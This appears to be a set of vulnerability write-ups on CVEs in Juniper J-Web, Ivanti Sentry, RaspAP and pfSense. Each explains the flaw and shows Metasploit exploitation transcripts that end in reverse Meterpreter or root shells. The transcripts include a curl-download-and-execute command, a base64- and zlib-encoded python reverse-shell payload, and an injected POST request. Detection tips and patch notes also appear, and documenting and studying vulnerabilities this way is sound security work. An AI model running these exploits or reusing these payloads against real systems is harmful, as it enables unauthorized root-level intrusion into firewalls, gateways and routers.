The Juniper advisory was first analyzed by Sonny at watchtowr and they wrote a great blog outlining how they used this vulnerability along with CVE-2023-36844 in order to obtain RCE. CVE-2023-36844 is an arbitrary file upload function that exploits the do_upload function within the affected device. So what Sonny did was:

  1. Use CVE-2023-36844 to upload a PHP file containing our shellcode

  2. Use CVE-2023-36844 again to upload a second file, containing an auto_prepend_file directive instructing the PHP preprocessor to execute the file we uploaded in step 1

  3. Use bug CVE-2023-36845 to set the PHPRC variable to the file we uploaded in step 2.

Just CVE-2023-36845

Using the clever research published by Sonny, Jacob Baines from Vuln Check posted a blog outlining how RCE can be obtained solely using CVE-2023-36845.

The affected Juniper devices use Appweb web server and when Appweb invokes a CGI script it passes arguments and environment variables in order for the script to access the users’s HTTP request. The body of the HTTP request is passed using stdin. Jacob noted that every FreeBSD process has access to their stdin by opening /dev/fd/0. So by sending an HTTP request, an attacker is able to introduce a “file”, /dev/fd/0 to the system.

So if the attacker set’s PHPRC equal to /dev/fd/0 and then uses the PHP function auto_prepend_file which causes the provided file to be added using the require function, in combination with allow_url_include which allows the use of URL-aware fopen wrappers. The attacker can then set auto_prepend_file equal to data://<payload_goes_here> so that the payload is provided inline and gets executed without ever being written to disk. Very cool.

Try this at home

There’s a great metasploit module available for this that can be found here and can be run like so:

msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set rhosts
rhosts =>
msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set lhost
lhost =>
msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > run

[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Environment variable manipulation succeeded indicating this target is vulnerable.
[*] Sending stage (39927 bytes) to
[*] Meterpreter session 4 opened ( -> at 2023-09-20 16:27:04 -0400

meterpreter > getuid
Server username: nobody
meterpreter > sysinfoi
[-] Unknown command: sysinfoi
meterpreter > sysinfo
Computer    : JUNOS
OS          : FreeBSD JUNOS JNPR-11.0-20200608.0016468_buil FreeBSD JNPR-11.0-20200608.0016468_builder_stable_11 #0 r356482+0016468ed6c(stable/11): Sun Jun  7 23:59:18 PDT 2020     builder@feyrith.juniper.net:/volume/build/junos/occam/llvm-5.0/sandbox-20200605/freebsd/
Meterpreter : php/freebsd
meterpreter >



Technical Analysis


Ivanti Sentry (formerly MobileIron Sentry) is vulnerable to an authentication by-pass which exposes API functionality which allows for code execution in the context of the root user. The vulnerable endpoint /mics/services/MICSLogService exposes a binary web service protocol, Hessian, which allows remote users to invoke functions within the target Sentry system.

One of the functions accessible via Hessian and the vulnerable endpoint is uploadFileUsingFileInput which accepts a command argument that gets directly fed into a Runtime.getRuntime().exec(cmd) call. The command is run in the context of the tomcat2 user however by default tomcat2 is able to execute commands with sudo thus we can use this to execute the payload in the context of the root user.

Attacker Value and Exploitability

For attacker’s this one is pretty juicy as it gives unauthenticated RCE in the context of the root users, it doesn’t get much better than that. Seeing CVE-2023-38035 being added to the KEV list only one day after it was published speaks volumes on the usefulness to malicious adversaries. To the attacker’s benefit there aren’t any definitive IoCs other than unrecognized HTTP requests to /services/* which should be cause for concern. The only saving grace is that a Shodan search for Ivanti Sentry targets on the internet only yielded around 500 vulnerable instances exposed at the time the vuln was disclosed.

Vulnerable Versions

Ivanti Sentry versions vulnerable to CVE-2023-38035:

  • =< 9.18.0

Vulnerable Environment

A vulnerable MobileIron Sentry version 9.12.0-16 .vhd file can be downloaded from the following URL

Metasploit Module Demonstration

msf6 > use linux/http/ivanti_sentry_misc_log_service
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set rhosts
rhosts =>
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set lhost
lhost =>
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set fetch_srvhost
fetch_srvhost =>
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set verbose true
verbose => true
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > exploit
[*] Reloading module...

[*] Command to run on remote host: curl -so /tmp/ccrjHXsc; chmod +x /tmp/ccrjHXsc; /tmp/ccrjHXsc &
[*] Fetch Handler listening on
[*] HTTP server started
[*] Adding resource /etRbFA76UzDRclkL8zrTdg
[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Unix (In-Memory) for cmd/linux/http/x64/meterpreter_reverse_tcp
[*] Running the command: sudo curl -so /tmp/ccrjHXsc
[*] Client requested /etRbFA76UzDRclkL8zrTdg
[*] Sending payload to (curl/7.29.0)
[*] Running the command: sudo  chmod +x /tmp/ccrjHXsc
[*] Running the command: sudo  /tmp/ccrjHXsc &
[*] Meterpreter session 6 opened ( -> at 2023-08-29 14:27:57 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : CentOS 7.8.2003 (Linux 3.10.0-1160.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit

  • Attacker Value
  • Exploitability
Technical Analysis

This is an unauthenticated command injection vulnerability in RaspAP, a wireless route software that runs on Debian-based devices. The vulnerable raspap-webgui application shouldn’t be configured to be internet facing which and is reflected in this assessment’s Attacker Value. Most endpoints on the application require a valid CSRF token to be accessed except for some, which include:

  • /ajax/openvpn/activate_ovpncfg.php
  • /ajax/openvpn/del_ovpncfg.php

These two endpoints accept a POST parameter cfg_id which gets run directly in a php exec() command without being sanitized. The vulnerable code can be seen below, or in full on the RaspAP raspap-webgui github


require_once '../../includes/config.php';
require_once '../../includes/functions.php';

if (isset($_POST['cfg_id'])) {
    $ovpncfg_id = $_POST['cfg_id'];
    $ovpncfg_client = RASPI_OPENVPN_CLIENT_PATH.$ovpncfg_id.'_client.conf';
    $ovpncfg_login = RASPI_OPENVPN_CLIENT_PATH.$ovpncfg_id.'_login.conf';

    // remove existing client config +login and symbolically link the selected one
    system("sudo rm ".RASPI_OPENVPN_CLIENT_CONFIG, $return);
    system("sudo ln -s $ovpncfg_client ".RASPI_OPENVPN_CLIENT_CONFIG, $return);

This vulnerability can be exploited with a simple POST request in order to inject the following command: touch /tmp/pwned

POST /ajax/openvpn/del_ovpncfg.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13.4; rv:109.0) Gecko/20100101 Firefox/114.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 642


Or if getting a shell is more your thing use the new Metasploit module to obtain a meterpreter session:

msf6 > use exploit/unix/http/raspap_rce 
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(unix/http/raspap_rce) > set rhosts
rhosts =>
msf6 exploit(unix/http/raspap_rce) > set lhost
lhost =>
msf6 exploit(unix/http/raspap_rce) > run

[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Unix Command with echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNo9UE1LxDAQPTe/IrckGMNmqZVdrCDiQUQEd28i0iajhqZpSLJaFf+7DVmcwwxv5s2bDzP6KSQcJzVA4t/W9LzvIjQ1jykcVOLJjIBep4BnbBwOnXsDKldsi6oUvhZfxbY0ixLomh/x7uH67mW3f7y5umeZJ9TkHKhEKZHnayEbITcbIQmvF2OZ0gfoBlTBrMCnrJ2Hi2gBPD1jyLZlJ3FwvlMDJZe3hEcRQH3QReBp9Yx0e8SWoc93YwFbcFSzC7vI6ZP/6mlJMwQzKJrPFhrUNPoAMdLyAdE3dU5qyEz+QyLZxl+G/gDVz18D\'\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -
[*] Sending stage (24772 bytes) to
[*] Meterpreter session 1 opened ( -> at 2023-08-14 20:38:21 -0400

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : debian
OS           : Linux 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-2 (2023-07-27)
Architecture : x64
Meterpreter  : python/linux
meterpreter > 


Since this is exploiting a parameter in a POST request, you won’t see the payload in the logs. It might be worth searching for suspicious processes spawned by the user running the RaspAP application. The user www-data is running the RaspAP application in this case and after running the Metasploit module, due to the python payload selected by default, there is a suspicious/usr/bin/python3 command running in the context of the user www-data.


msfuser@debian:~$ ps aux | grep www-data
www-data     866  0.0  0.1   5568  3804 ?        Ss   20:00   0:00 /usr/sbin/lighttpd -D -f /etc/lighttpd/lighttpd.conf
www-data     879  0.0  1.0 201008 21552 ?        Ss   20:00   0:00 /usr/bin/php-cgi
www-data     925  0.0  0.3 201008  5976 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data     928  0.0  0.3 201008  5976 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data     929  0.0  0.3 201008  5976 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data     930  0.0  0.3 201008  5976 ?        S    20:00   0:00 /usr/bin/php-cgi
msfuser     2786  0.0  0.1   6332  2012 pts/0    S+   20:03   0:00 grep www-data


msfuser@debian:~$ ps aux | grep www-data
www-data     866  0.0  0.1   5568  3804 ?        Ss   20:00   0:00 /usr/sbin/lighttpd -D -f /etc/lighttpd/lighttpd.conf
www-data     879  0.0  1.0 201008 21552 ?        Ss   20:00   0:00 /usr/bin/php-cgi
www-data     925  0.0  0.3 201008  5976 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data     928  0.0  0.6 201008 12404 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data     929  0.0  0.5 201008 11468 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data     930  0.0  0.3 201008  5976 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data    2839  0.0  0.0      0     0 ?        Z    20:07   0:00 [sh] <defunct>
www-data    2846  1.3  1.5  43792 30976 ?        Ss   20:07   0:00 /usr/bin/python3 -
msfuser     2853  0.0  0.1   6332  2060 pts/0    S+   20:08   0:00 grep www-data


The initial PoC write up mentioned in the references below indicates the command injection will result in execution in the context of the root user. This is incorrect and depends on how the RaspAP application has been deployed.



Technical Analysis

On March 17th, 2023 it was announced that pfSense firewalls versions 2.6.0 and below were vulnerable to an authenticated remote code execution vulnerability resulting in code execution in the context of the root user.

Authenticated users, from the /diag_backup.php endpoint, are able open and restore a backup pfSense configuration XML file:

Screenshot 2023-07-12 at 3 29 18 PM

The name of the configuration XML file is user configurable. In vulnerable versions the filename does not get sanitized properly before being used in an exec() command in the restore_rrddata function inside the file: /etc/inc/config.lib.inc.

The vulnerable exec() call can be seen below on line 288 which is an excerpt from the vulnerable version 2.6.0source code.

Screenshot 2023-07-12 at 3 19 11 PM

The following escapeshellarg patch has been applied:

exec("{$rrdtool} restore -f " . escapeshellarg($xml_file) . ' ' . escapeshellarg($rrd_file), $output, $status);

Attacker Value and Exploitation

As this requires authentication the attacker value isn’t super high although it could come in handy for a malicious actor as it provides root level access on pfSense – the ”World’s Most Trusted Open Source Firewall”. Exploitation is super straightforward once credentials are obtained.


Exploiting this vulnerability using metasploit is as easy as one-two-three (or “set rhosts”, “set lhost”, “run”)

msf6 > use unix/http/pfsense_config_data_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/http/pfsense_config_data_exec) > set rhosts
rhosts =>
msf6 exploit(unix/http/pfsense_config_data_exec) > set lhost
lhost =>
msf6 exploit(unix/http/pfsense_config_data_exec) > run

[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target appears to be running pfSense version 2.5.1-RELEASE, which is unpatched!
[*] Command shell session 7 opened ( -> at 2023-07-12 14:48:15 -0400

uid=0(root) gid=0(wheel) groups=0(wheel)
uname -a
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE 1b709158e581(RELENG_2_5_0) pfSense  amd64


Update pfSense to version 2.7.0 or higher.